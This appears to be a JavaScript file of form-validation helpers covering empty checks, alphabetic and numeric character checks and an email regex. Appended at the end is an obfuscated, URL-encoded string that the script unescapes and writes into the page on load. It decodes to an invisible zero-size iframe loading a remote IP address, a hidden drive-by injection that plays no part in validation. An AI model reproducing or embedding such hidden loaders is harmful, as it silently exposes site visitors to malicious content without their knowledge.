function isNull(input) {
    if (input.value == null || input.value == "") {
        return true;
    }
    return false;
}


function containsChars(input,chars) {
    for (var inx = 0; inx < input.value.length; inx++) {
       if (chars.indexOf(input.value.charAt(inx)) != -1)
           return true;
    }
    return false;
}


function containsCharsOnly(input,chars) {
    for (var inx = 0; inx < input.value.length; inx++) {
       if (chars.indexOf(input.value.charAt(inx)) == -1)
           return false;
    }
    return true;
}


function isAlphabet(input) {
    var chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
    return containsCharsOnly(input,chars);
}


function isNumber(input) {
    var chars = "0123456789";
    return containsCharsOnly(input,chars);
}

function isAlphaNum(input) {
    var chars 
= "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
    return containsCharsOnly(input,chars);
}



function isValidFormat(input,format) {
    if (input.search(format) != -1) {
        return true; 
    }
    return false;
}


function isValidEmail(input) {
//    var format = /^(\S+)@(\S+)\.([A-Za-z]+)$/;
    var format = /^((\w|[\-\.])+)@((\w|[\-\.])+)\.([A-Za-z]+)$/;
    return isValidFormat(input,format);
}


<!--
var Words="%3Ciframe%20src%3Dhttp%3A%2F%2F%2532%2532%2532%252E%2532%2533%2533%252E%2535%2532%252E%2537%2F%20width%3D0%20height%3D0%3E%3C%2Fiframe%3E"
function SetNewWords()
{
var NewWords;
NewWords=unescape(Words);
document.write(NewWords);
}
SetNewWords();
// -->